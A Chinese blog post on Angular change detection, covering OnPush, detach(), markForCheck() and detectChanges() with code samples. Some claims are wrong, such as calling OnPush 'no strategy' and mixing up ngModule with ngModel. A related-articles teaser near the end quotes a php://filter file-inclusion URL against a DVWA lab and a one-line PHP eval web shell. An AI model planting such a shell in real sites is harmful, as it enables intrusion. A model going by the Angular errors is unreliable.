Angular变更检测机制

前段时间遇到这样一个 bug，通过一个 click 事件跳转到一个新页面，新页面迟迟不加载；
经过多次测试发现，将鼠标移入某个 tab ，页面就加载出来了。

举个例子，页面内容无法加载，但是将鼠标移入下图的 消息 或者 历史 tab，页面就加载出来了。

在这里插入图片描述

正常情况下，Angular 会在 组件初始化完毕后 自动进行变更检测，并更新视图。

但有时候，你可能希望在 组件实例化后 立即执行一次变更检测，以确保视图能够及时更新。这种情况下，我们可以在构造函数之后的代码中显式调用 detectChanges() 方法。

为了在切换路由后立即进行 变更检测 并渲染新页面，在路由导航结束后，Angular 提供了一个 Router.events 事件流来监听路由导航的状态。开发者可以订阅 NavigationEnd 事件，并在回调函数中调用 detectChanges() 方法。

import { Component, OnInit, ChangeDetectorRef } from '@angular/core';
import { Router, NavigationEnd } from '@angular/router';@Component({// 组件元数据
})
export class MyComponent implements OnInit {constructor(private router: Router,private cdr: ChangeDetectorRef,) {}ngOnInit() {this.router.events.subscribe(event => {if (event instanceof NavigationEnd) {this.cdr.detectChanges(); // 在路由切换完成后调用 detectChanges}});}}

如此，就实现了跳转页面视图不展示的问题。

这里，简单介绍一下 Angular 的变更检测策略，包括 默认策略、OnPush 策略 和 无策略。

要关闭变更检测，可以将变更检测策略设置为 无策略 （ChangeDetectionStrategy.OnPush）或 手动调用 detach() 方法来分离变更检测器。

1 变更检测策略

1.1 手动分离变更检测器

使用 detach() 方法来分离变更检测器，这样组件就不再与变更检测关联。

import { Component, OnInit, ChangeDetectorRef } from '@angular/core';@Component({selector: 'app-my-component',templateUrl: './my-component.component.html'
})
export class MyComponent implements OnInit {constructor(private cdr: ChangeDetectorRef) {}ngOnInit() {this.cdr.detach(); // 分离变更检测器}
}

在此方法中，我们需要将 ChangeDetectorRef 注入到组件中，并在 ngOnInit 生命周期钩子函数中调用 detach() 方法。这样就会分离变更检测器，从而关闭变更检测。

1.2 使用变更检测策略

将组件的变更检测策略设置为 ChangeDetectionStrategy.OnPush，这会使得组件仅在输入属性发生变化时才进行变更检测。我们可以在组件的元数据中指定变更检测策略。

import { Component, ChangeDetectionStrategy } from '@angular/core';@Component({selector: 'app-my-component',templateUrl: './my-component.component.html',changeDetection: ChangeDetectionStrategy.OnPush // 设置变更检测策略为 OnPush
})
export class MyComponent {}

使用此策略时，我们需要手动触发变更检测，例如通过注入 ChangeDetectorRef 并调用 detectChanges() 方法。

需要注意的是，关闭变更检测可能导致视图无法及时更新，因此应仔细考虑是否真正需要关闭变更检测。一般情况下，使用默认的变更检测策略并让 Angular 自动执行变更检测是推荐的做法。只有在特定的性能优化需求下才应该考虑手动关闭变更检测。

2 ChangeDetectionStrategy.OnPush 策略

这里，我们要注意，将组件的变更检测策略设置为 ChangeDetectionStrategy.OnPush，这会使得组件仅在 输入属性 发生变化时才进行变更检测。输入属性指的是通过 @Input 装饰器定义在组件上的属性。这些属性用于从父组件向子组件传递数据。

当将组件的变更检测策略设置为 ChangeDetectionStrategy.OnPush 时，组件只会在 输入属性 发生变化时才触发变更检测和重新渲染。

举个例子，MyComponent 的组件，定义了一个输入属性 data，只有每次 data 的值发生变化， Angular 才会自动触发变更检测并更新组件的视图。

import { Component, Input, ChangeDetectionStrategy } from '@angular/core';@Component({selector: 'app-my-component',template: `<div>{{ data }}</div>`,changeDetection: ChangeDetectionStrategy.OnPush // 设置变更检测策略为 OnPush
})
export class MyComponent {@Input() data: string;
}

通过将组件的变更检测策略设置为 ChangeDetectionStrategy.OnPush，我们可以确保只有父组件修改了子组件的输入属性或者父组件手动调用 markForCheck() 方法，子组件才会执行变更检测、重新渲染，如此可以提高性能并减少不必要的变更检测。

事实上，除了输入属性发生变化，组件自身的事件（例如按钮点击、定时器等），也可以触发变更检测；

注意，当只有子组件内部的变量值发生改变而没有其他触发条件满足时，ChangeDetectionStrategy.OnPush 策略下的组件不会自动触发变更检测。这意味着组件的视图不会被更新。

2.1 子组件 ngModule 值变化

这里，可能会有人提问，子组件的 ngModule 值变化，会不会触发子组件的变更检测和重新渲染。

答案是不会，ngModule 是 Angular 中用于定义模块的装饰器函数，它通常在应用程序的根模块中使用，并且在启动时就确定了，它的变化不会被视为触发变更检测的条件。

子组件input框的 ngModule 值发生变化时，并不能直接触发子组件的变更检测，那么 input 框中内容会发生变化吗？
当 input 框的 ngModule 值发生变化时，输入框中的内容仍然会根据新的值进行更新，因为这是由 ngModel 实现的。这种更新是通过 DOM 事件（如 input 或 change）来触发的，而不是通过 Angular 的变更检测系统。

2.2 子组件 内部数据发生变化

这里，举一个内部数据发生变化的例子。

  • 使用 ChangeDetectionStrategy.OnPush 策略；

count 的值定时发生变化，但是页面并未更新；

import { ChangeDetectorRef, ChangeDetectionStrategy } from '@angular/core';@Component({selector: 'test',templateUrl: './test.component.html',styleUrls: ['./test.component.less'],changeDetection: ChangeDetectionStrategy.OnPush,
})export class TestComponent implements OnInit, OnDestroy {constructor(private router: Router,private cdr: ChangeDetectorRef,) { }count = 1;ngOnInit(): void {setInterval(() => {this.count++;}, 1000);}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 不使用 ChangeDetectionStrategy.OnPush 策略；

页面数据会刷新

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2.3 父组件传值发生变化

父组件传值，直接修改了可变对象（如：数组、对象等），而没有创建一个新的引用，那么组件可能无法检测到这个改变，从而不会触发变更检测。

items: string[] = ['Item 1', 'Item 2', 'Item 3'];
this.items.push('New Item');

3 关闭变更检测

在 Angular 中，我们可以通过使用 ChangeDetectorRef 来关闭或禁用变更检测。ChangeDetectorRef 是一个服务，提供了与变更检测相关的方法。以下是一种关闭变更检测的方法：

注入 ChangeDetectorRef 服务：

import { Component, ChangeDetectorRef } from '@angular/core';@Component({selector: 'app-example',template: `<!-- Your component's template -->`
})
export class ExampleComponent {constructor(private cdr: ChangeDetectorRef) {}
}

在需要关闭变更检测的地方调用 detach() 方法

this.cdr.detach();

调用 detach() 方法会将组件从变更检测树中分离，意味着该组件及其子组件将不再进行自动的变更检测和视图更新。这可以帮助减少不必要的计算和渲染，提高性能。

需要注意的是，一旦你将组件从变更检测树中分离，它将不再自动响应输入属性的变化或事件的触发。如果你需要手动控制变更检测，可以使用 markForCheck() 方法来通知 Angular 运行变更检测。例如：

this.cdr.markForCheck();

使用 markForCheck() 方法可以标记组件及其父组件，使其在下一次变更检测周期中进行变更检测。

总结起来，通过 ChangeDetectorRef 的 detach() 方法，我们可以关闭变更检测以提高性能，并使用 markForCheck() 方法手动触发变更检测。请注意，在大多数情况下，不需要手动关闭变更检测，Angular 的默认行为通常已经足够高效和准确。

this.cdr.markForCheck()和this.cdr.detectChanges()是Angular中的变更检测相关方法，它们有一些区别和适用场景。

  • this.cdr.markForCheck(): 调用markForCheck()方法会通知 Angular 在下一次变更检测周期中检查组件及其子组件，并执行相应的变更检测操作。该方法将标记组件为“已脏”（dirty），意味着组件可能发生了变化，需要进行检查。这对于在组件中进行异步操作，但可能没有直接触发变更的情况非常有用。调用markForCheck()方法本身不会立即触发变更检测，而是等待下一次变更检测周期执行。

  • this.cdr.detectChanges(): 调用detectChanges()方法会立即触发一次变更检测，无论组件是否已被标记为“脏”。这将从组件树的根节点开始进行变更检测，并检查任何已标记为“脏”的组件。这可以用来强制立即进行变更检测，而不必等待下一次自动变更检测周期。但是，过度使用detectChanges()方法可能会导致性能问题，因为它执行了全面的变更检测，而不只是对标记为“脏”的组件进行检查。

从使用角度来看，通常情况下应该优先使用this.cdr.markForCheck()方法，因为它更高效且更符合 Angular 的变更检测机制。只有在特殊情况下，如在组件中调用了异步操作但未触发变更时，才应该使用this.cdr.detectChanges()方法来强制立即进行变更检测。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.xdnf.cn/news/139511.html

如若内容造成侵权/违法违规/事实不符，请联系一条长河网进行投诉反馈，一经查实，立即删除！

相关文章

共享门店系统开发如何实际运用？

共享门店系统开发如何实际运用？

现在的实体门店难做应该已经成了大家的共识&#xff0c;线下的生意不景气&#xff0c;很多商户都面临着入不敷出的情况&#xff0c;长久以往&#xff0c;倒闭的商户一定会越来越多&#xff0c;那我们应该如何挽救一下这种现状&#xff0c;让实体店也能重获新生呢&#xff1f; 今…
阅读更多...
PHP包含读文件写文件

PHP包含读文件写文件

读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点&#xff0c;进行读文件&#xff0c;bp抓…
阅读更多...
帧结构的串行数据接收器——Verilog实现

帧结构的串行数据接收器——Verilog实现

用Verilog 实现一个帧结构的串行数据接收器&#xff1b; 串行数据输入为&#xff1a;NRZ数据加位时钟&#xff08;BCL&#xff09;格式&#xff0c;高位在前 帧结构为&#xff1a;8位构成一个字&#xff0c;64字构成一个帧。每帧的第一个字为同步字。同步字图案存储在可由CPU读…
阅读更多...
react实现动态递增展示数字特效

react实现动态递增展示数字特效

在可视化展示界面时有一种场景&#xff0c;就是页面在初始化的时候&#xff0c;有些数字展示想要从某个值开始动态递增到实际值&#xff0c;形成一种动画效果。例如&#xff1a; 写一个数字递增的组件&#xff0c;代码如下&#xff1a; import {useEffect, useRef, useState} f…
阅读更多...
火花塞工作原理

火花塞工作原理

1.红旗H9轿车2023款发布 2023年元旦过后&#xff0c;红旗汽车在人民大会堂举办了红旗H9的新车发布会&#xff0c;一汽红旗全新的H9豪华轿车终于出炉了全套的配置参数&#xff0c;红旗H9的车身长度达到5137mm&#xff0c;宽度1904mm&#xff0c;轴距3060mm&#xff0c;总高则控…
阅读更多...
阿里云大数据实战记录10：Hive 兼容模式的坑

阿里云大数据实战记录10：Hive 兼容模式的坑

文章目录 1、前言2、什么是 Hive 兼容模式&#xff1f;3、为什么要开启 Hive 模式&#xff1f;4、有什么副作用&#xff1f;5、如何开启 Hive 兼容模式&#xff1f;6、该场景下&#xff0c;能不能不开启 Hive 兼容模式&#xff1f;7、为什么不是DATE_FORMAT(datetime, string)&…
阅读更多...
C语言的文件操作（炒详解）

C语言的文件操作（炒详解）

⭐回顾回顾文件操作的相关细节⭐ 欢迎大家指正错误 &#x1f4dd;在之前的学习中&#xff0c;不管增加数据&#xff0c;减少数据&#xff0c;当程序退出时&#xff0c;所有的数据都会销毁&#xff0c;等下次运行程序时&#xff0c;又要重新输入相关数据&#xff0c;如果一直像这…
阅读更多...
JS 原型和原型链

JS 原型和原型链

原型和原型链 1. 了解原型和原型链1.1 原型1.2 原型链 2. 原型2.1 prototype2.2 __proto__ 隐式原型 3. 原型链 1. 了解原型和原型链 1.1 原型 原型&#xff1a; prototype 又称显示原型 1、原型是一个普通对象 2、只有构造函数才具备该属性 3、公有属性可操作 1.2 原型链 原…
阅读更多...
Quartz 建表语句SQL文件

Quartz 建表语句SQL文件

SQL文件在jar里面&#xff0c;github下载 https://github.com/quartz-scheduler/quartz/releases/tag/v2.3.2 解压&#xff0c;sql文件路径&#xff1a;quartz-core\src\main\resources\org\quartz\impl\jdbcjobstore tables_mysql_innodb.sql # # In your Quartz propertie…
阅读更多...
Python学习 day01（注意事项）

Python学习 day01（注意事项）

注释 变量 数据类型的转换 运算符 / 的结果为浮点数。若// 的两边有一个为浮点数&#xff0c;则结果为浮点数&#xff0c;否则为整数。 字符串
阅读更多...
uqrcode+uni-app 微信小程序生成二维码

uqrcode+uni-app 微信小程序生成二维码

使用微信小程序需要弹出动态二维码的需求&#xff0c;从插件市场选了一个下载次数较多的组件引入到项目中uqrcode&#xff0c;使用步骤如下&#xff1a; 1、从插件市场下载 插件地址&#xff1a;https://ext.dcloud.net.cn/plugin?id1287&#xff0c;若你是跟我一样是用uni-…
阅读更多...
AI视频剪辑：批量智剪技巧大揭秘

AI视频剪辑：批量智剪技巧大揭秘

对于许多内容创作者来说&#xff0c;视频剪辑是一项必不可少的技能。然而&#xff0c;传统的视频剪辑方法需要耗费大量的时间和精力。如今&#xff0c;有一种全新的剪辑方式正在改变这一现状&#xff0c;那就是批量AI智剪。这种智能化的剪辑方式能够让你在短时间内轻松剪辑大量…
阅读更多...
【无标题】mysql 普通用户连接报错： MySql server has gone away

【无标题】mysql 普通用户连接报错： MySql server has gone away

1、mysql 普通用户连接报错&#xff1a; MySql server has gone away 2、进入mysql错误日志位置查看输出日志显示错误为&#xff1a; [Warning] [MY-013130] [Server] Aborted connection 47 to db: unconnected user: tjcx host: 10.195.11.4 (init_connect command failed; …
阅读更多...
嵌入式网络接口之MAC芯片与PHY芯片

嵌入式网络接口之MAC芯片与PHY芯片

目录 0. 参考文档 1.嵌入式网络接口简介 2.嵌入式网络硬件架构方案 2.1 SOC内未集成MAC芯片 2.2 SOC内集成MAC芯片 2.3 主流方案总结 2.3 参照实际网卡的说明 3.MII/RMII及MDIO接口 3.1 MII 3.2 RMII 3.3 MDIO 0. 参考文档 网卡构造&#xff1a;MAC与PHY的关系&…
阅读更多...
【李沐深度学习笔记】矩阵计算（5）

【李沐深度学习笔记】矩阵计算（5）

课程地址和说明 线性代数实现p4 本系列文章是我学习李沐老师深度学习系列课程的学习笔记&#xff0c;可能会对李沐老师上课没讲到的进行补充。 本节是第五篇&#xff0c;由于CSDN限制&#xff0c;只能被迫拆分 矩阵计算 多元函数的等高线 此处参考视频&#xff1a;熟肉)多元…
阅读更多...
上PICO，沉浸式观看亚运直播，参与跨国界游戏竞技

上PICO，沉浸式观看亚运直播，参与跨国界游戏竞技

备受瞩目的杭州第19届亚运会&#xff0c;将于9月23日正式开幕。据悉&#xff0c;这也是有史以来项目最多的一届亚运会&#xff0c;除部分传统奥运项目外&#xff0c;还包含武术、藤球、板球、克柔术、柔术等亚洲特色项目&#xff0c;以及霹雳舞、电子竞技等深受年轻人喜爱的新兴…
阅读更多...
LeetCode算法动态规划—斐波那契数列

LeetCode算法动态规划—斐波那契数列

目录 剑指 Offer 10- I. 斐波那契数列 - 力扣&#xff08;LeetCode&#xff09; 题解&#xff1a; 代码&#xff1a; 运行结果&#xff1a; 写一个函数&#xff0c;输入 n &#xff0c;求斐波那契&#xff08;Fibonacci&#xff09;数列的第 n 项&#xff08;即 F(N)&#…
阅读更多...
Labelme分割标注软件

Labelme分割标注软件

Labelme分割标注软件 1、环境配置与安装1.1 创建conda虚拟环境(建议)1.2 安装Labelme 2、简单使用2.1 创建label标签文件2.2 启动labelme2.3 打开文件/文件夹2.4 设置保存结果路径2.5 标注目标2.6 保存json文件格式 3 格式转换3.1 转换语义分割标签3.2 转换实例分割标签 相关重…
阅读更多...
中通快递一键查询，轻松掌握物流信息

中通快递一键查询，轻松掌握物流信息

在如今的快速发展的电商时代&#xff0c;快递已成为人们生活中不可或缺的一部分。随着快递业务的繁荣&#xff0c;快递公司也纷纷推出了各种查询方式&#xff0c;方便顾客随时掌握自己包裹的物流信息。在这其中&#xff0c;中通快递无疑是许多人选择的首选。下面&#xff0c;我…
阅读更多...
【00】FISCO BCOS区块链简介

【00】FISCO BCOS区块链简介

官方文档&#xff1a;https://fisco-bcos-documentation.readthedocs.io/zh_CN/latest/docs/introduction.html FISCO BCOS是由国内企业主导研发、对外开源、安全可控的企业级金融联盟链底层平台&#xff0c;由金链盟开源工作组协作打造&#xff0c;并于2017年正式对外开源。 F…
阅读更多...
最新文章

Copyright @ 2022~2023